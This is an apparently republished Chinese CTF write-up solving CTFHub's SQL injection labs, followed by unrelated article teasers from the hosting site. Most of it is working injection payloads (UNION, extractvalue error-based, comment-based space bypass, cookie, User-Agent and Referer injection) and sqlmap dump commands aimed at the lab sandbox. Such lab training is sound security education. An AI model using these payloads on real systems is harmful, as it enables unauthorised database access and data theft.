web-SQL注入-CTFHub

前言

在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。

作者更新了CTFHub系列,希望小伙伴们多多支持。

作者的CTFHub技能树汇总:

CTFHub技能树Web汇总-CSDN博客

关于sql注入,作者认为sqli-labs是一个很好的靶场。作者通关了该靶场,训练到了sql注入的大多数技巧。应对这些题型时就已经得心应手,推荐大家也做一下。

sqli_labs的题解:sqli-labs通关全详解-CSDN博客

sql注入的技术总结:SQL注入全详解_sql注入csdn-CSDN博客

整数型注入

首页

输个1,发现出数据了,一看URL,GET型整数注入,而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有几个返回值,

1 union select 0,1#

逐见增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个值都显示)

接下来确定我们输入的值(即0和1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,就会一直输出1和ctfhub,得不到我们想要的信息)

-1 union select 0,1#

接下来就是常规步骤

-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个flag表似乎是我们想要的

-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'flag'#

连字段名都是flag,那必然是它了

出了

-1 union select 0,group_concat(flag) from flag#

字符型注入

还是输个1,发现是字符型注入,用单引号闭合

确定回显

剩下的步骤和上题基本一样

报错注入

输个1,查询正确,没有回显位,不能用报错注入

输个1’,有报错,而且看起来不用闭合,用报错注入试试

这里我用了extractvalue()报错,floot()、updatexml()报错都是可以的

1 and extractvalue(1,concat(0x7e,(select database())))#

1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#

1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')))#

1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))#

发现flag不全

1 and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),30,32)))#

原来只差个}

布尔盲注

输个1

1‘,没啥有价值的信息,没有回显也没有报错

用sqlmap

我的sqlmap是安装在windows上的,在其目录下打开cmd,

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1

成功扫出注入漏洞(是时间盲注,不过无所谓,时间盲注和布尔盲注本质相近)

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 --current-db

查看当前数据库名

查看表名

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli –tables

查看字段名

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

查看用户数据

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump

时间盲注

和布尔盲注一样,我们得不到什么有用的信息,用sqlmap

python sqlmap.py -u http://challenge-7ab8ccdca17dd471.sandbox.ctfhub.com:10800/?id=1

剩下的与上一题相同

MySQL结构

首页

输个1,出数据了,一看URL,GET型注入,可以直接从URL上输入,也可以直接在ID框里输入,

这个题而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了,所以只有两个id,1和2

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有数据库给我们返回了几个值,

1 union select 0#
1 union select 0,1#

逐次增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个返回的值都显示,这里很明显有两个回显位ID和Data)

接下来确定我们输入的值(即0,1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,比如1,就会一直输出1和ctfhub,得不到我们想要的信息,我们之前试过,id只有1和2,所以输入-1肯定是错的,这一步其实可以和前面一步合并,直接拿-1去测返回值个数)

-1 union select 0,1#

发现0对应ID,1对应Data。

接下来就是常规步骤,

在回显位上得到我们想要的信息,我选择在Data位上得到相关信息。

爆表名

-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个bfapxsidjd似乎是我们想要的,先试试它

爆字段名

-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'bfapxsidjd'#

爆用户数据

-1 union select 0,group_concat(dijkatvoat) from bfapxsidjd#

Cookie注入

Cookie注入,抓包,发现hint

看着像url code,用在线URL 编码/解码翻译试试

翻译成:输个1试试?

和之前提示一样

放包,出数据了,用联合注入试试

cookie上加payload,注意别加错位置

经尝试,数字型注入,不需要闭合,有两个返回值

0 union select 1,2--+

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'nsnlgmojmb'--+

0 union select 1,group_concat(zyrolpptir) from nsnlgmojmb--+

UA注入

把User-Agent处改为1

出现用户数据,那这里就和之前一样,直接注入就可

-1 union select 1,2

猜猜看返回数据是不是只有两个(发现根本不需要注释)

果然还是只有两个

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'narijgvpvg'

-1 union select 1,group_concat(vlmxnrnwsf) from narijgvpvg

Refer注入

Referer注入没有referer?

自己构造一个

referer: 1

Ok了,在这注入

referer: -1 union select 1,2

referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'kclnvpdoln'

referer: -1 union select 1,group_concat(lhdlppxexk) from kclnvpdoln

过滤空格

输个1,发现和之前的题一样,按题目来看,是把空格过滤了

针对这种情况,可以有很多方法,比如用其他符号替换、URL编码等,这里可以用/**/或者括号去替换空格

0/**/union/**/select/**/1,2

0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='notpyrplrk'

0/**/union/**/select/**/1,group_concat(bumpvvqaax)/**/from/**/notpyrplrk

综合训练 SQLI-LABS

实际上就是作者在文章开头说的那个靶场,推荐大家自己搭建一下,很简单而且可以节省金币。

具体搭建方法作者在自己文章里引用出来了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/70034.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WPS动画:使图形平移、围绕某个顶点旋转一定角度

1、平移 案例三角形如下图,需求:该三角形的A点平移至原点 (1)在预想动画结束的位置绘制出图形 (2)点击选中原始图像,插入/动画/绘制自定义路径/直线 (3)十字星绘制的直线…

xmind使用教程

xmind使用教程 前言xmind版本信息“xmind使用教程”的xmind思维导图 前言 首先xmind是什么?XMind 是一款思维导图和头脑风暴工具,用于帮助用户组织和可视化思维、创意和信息。它允许用户通过图形化的方式来创建、整理和分享思维导图,可以用于…

KNIME:开源 AI 数据科学

KNIME(Konstanz Information Miner)是一款开源且功能强大的数据科学平台,由德国康斯坦茨大学的软件工程师团队开发,自2004年推出以来,广泛应用于数据分析、数据挖掘、机器学习和可视化等领域。以下是对KNIME的深度介绍…

2025年01月27日Github流行趋势

项目名称:onlook项目地址url:https://github.com/onlook-dev/onlook项目语言:TypeScript历史star数:5340今日star数:211项目维护者:Kitenite, drfarrell, iNerdStack, abhiroopc84, apps/dependabot项目简介…

TCL C++开发面试题及参考答案

进程和线程的区别 进程和线程都是操作系统中重要的概念,它们在很多方面存在着明显的区别。 从概念上来说,进程是资源分配的基本单位,每个进程都有自己独立的地址空间、内存、文件描述符等资源。例如,当我们在计算机上同时运行多个应用程序,像浏览器、文本编辑器等,每个应…

本地部署DeepSeek-R1模型(新手保姆教程)

背景 最近deepseek太火了,无数的媒体都在报道,很多人争相着想本地部署试验一下。本文就简单教学一下,怎么本地部署。 首先大家要知道,使用deepseek有三种方式: 1.网页端或者是手机app直接使用 2.使用代码调用API …

VS Code 复制正确格式的文件路径/文件夹路径 (绝对路径,相对路径, 斜杠 /, 反斜杠\\ 等)

VS Code 搜索 : baincd.copy-path-unixstyle Github : https://github.com/baincd/vscode-copy-path-unixstyle 插件市场: https://marketplace.visualstudio.com/items?itemNamebaincd.copy-path-unixstyle 支持复制各种格式的路径 格式 GitBash /c/chris/project-name/sr…

每天学点小知识之设计模式的艺术-策略模式

行为型模式的名称、定义、学习难度和使用频率如下表所示: 1.如何理解模板方法模式 模板方法模式是结构最简单的行为型设计模式,在其结构中只存在父类与子类之间的继承关系。通过使用模板方法模式,可以将一些复杂流程的实现步骤封装在一系列基…

python 中的堆

文章目录 小根堆的特点Python 中的 heapq 模块1. heapq.heappush(heap, item)2. heapq.heappop(heap)3. heapq.heapify(x)4. heapq.heappushpop(heap, item)5. heapq.heapreplace(heap, item)6. heapq.nsmallest(n, iterable)7. heapq.nlargest(n, iterable) 小根堆的应用场景示…

深度学习 Pytorch 基础网络手动搭建与快速实现

为了方便后续练习的展开,我们尝试自己创建一个数据生成器,用于自主生成一些符合某些条件、具备某些特性的数据集。 导入相关的包 # 随机模块 import random# 绘图模块 import matplotlib as mpl import matplotlib.pyplot as plt# 导入numpy import nu…

【RocketMQ】RocketMq之IndexFile深入研究

一:RocketMq 整体文件存储介绍 存储⽂件主要分为三个部分: CommitLog:存储消息的元数据。所有消息都会顺序存⼊到CommitLog⽂件当中。CommitLog由多个⽂件组成,每个⽂件固定⼤⼩1G。以第⼀条消 息的偏移量为⽂件名。 ConsumerQue…

注解与反射基础

注解 概述 注解(Annotation),从jdk5.0引入。 作用 不是程序本身,可以对程序作出解释(这一点和注释没什么区别)可以被其他程序读取 格式 注释是以“注释名”在代码中存在的,还可以添加一些…

SliverAppBar的功能和用法

文章目录 1 概念介绍2 使用方法3 示例代码 我们在上一章回中介绍了SliverGrid组件相关的内容,本章回中将介绍SliverAppBar组件.闲话休提,让我们一起Talk Flutter吧。 1 概念介绍 我们在本章回中介绍的SliverAppBar和普通的AppBar类似,它们的…

BFS(广度优先搜索)——搜索算法

BFS,也就是广度(宽度)优先搜索,二叉树的层序遍历就是一个BFS的过程。而前、中、后序遍历则是DFS(深度优先搜索)。从字面意思也很好理解,DFS就是一条路走到黑,BFS则是一层一层地展开。…

数据库 - Sqlserver - SQLEXPRESS、由Windows认证改为SQL Server Express认证进行连接 (sa登录)

本文讲SqlServer Express版本在登录的时候, 如何由Windows认证,修改为Sql Server Express认证。 目录 1,SqlServer Express的Windows认证 2,修改为混合认证 3,启用sa 用户 4,用sa 用户登录 下面是详细…

GWO优化SVM回归预测matlab

灰狼优化算法(Grey Wolf Optimizer,简称 GWO),是由澳大利亚格里菲斯大学的 Mirjalii 等人于 2014 年提出的群智能优化算法。该算法的设计灵感源自灰狼群体的捕食行为,核心思想是对灰狼社会的结构与行为模式进行模仿。 …

elasticsearch8.15 高可用集群搭建(含认证Kibana)

文章目录 1.资源配置2.系统参数优化3.JDK17安装4.下载&安装ES 8.155.生成ES的证书(用于ES节点之间进行安全数据传输)6.修改ES 相关配置文件7.创建es用户并启动8.配置ES的账号和密码(用于ES服务端和客户端)9.下载和安装Kibana10.编辑Kibana配置文件11.启动Kiabana12.访问Kia…

地址查询API接口:高效查询地址信息,提升数据处理效率

地址查询各省市区API接口 地址查询是我们日常生活中经常遇到的一个需求,无论是在物流配送、地图导航还是社交网络等应用中,都需要通过地址来获取地理位置信息。为了满足这个需求,我们可以使用地址查询API接口来高效查询地址信息,提…

3、C#基于.net framework的应用开发实战编程 - 实现(三、三) - 编程手把手系列文章...

三、 实现; 三.三、编写应用程序; 此文主要是实现应用的主要编码工作。 1、 分层; 此例子主要分为UI、Helper、DAL等层。UI负责便签的界面显示;Helper主要是链接UI和数据库操作的中间层;DAL为对数据库的操…

vscode软件操作界面UI布局@各个功能区域划分及其名称称呼

文章目录 abstract检查用户界面的主要区域官方文档关于UI的介绍 abstract 检查 Visual Studio Code 用户界面 - Training | Microsoft Learn 本质上,Visual Studio Code 是一个代码编辑器,其用户界面和布局与许多其他代码编辑器相似。 界面左侧是用于访…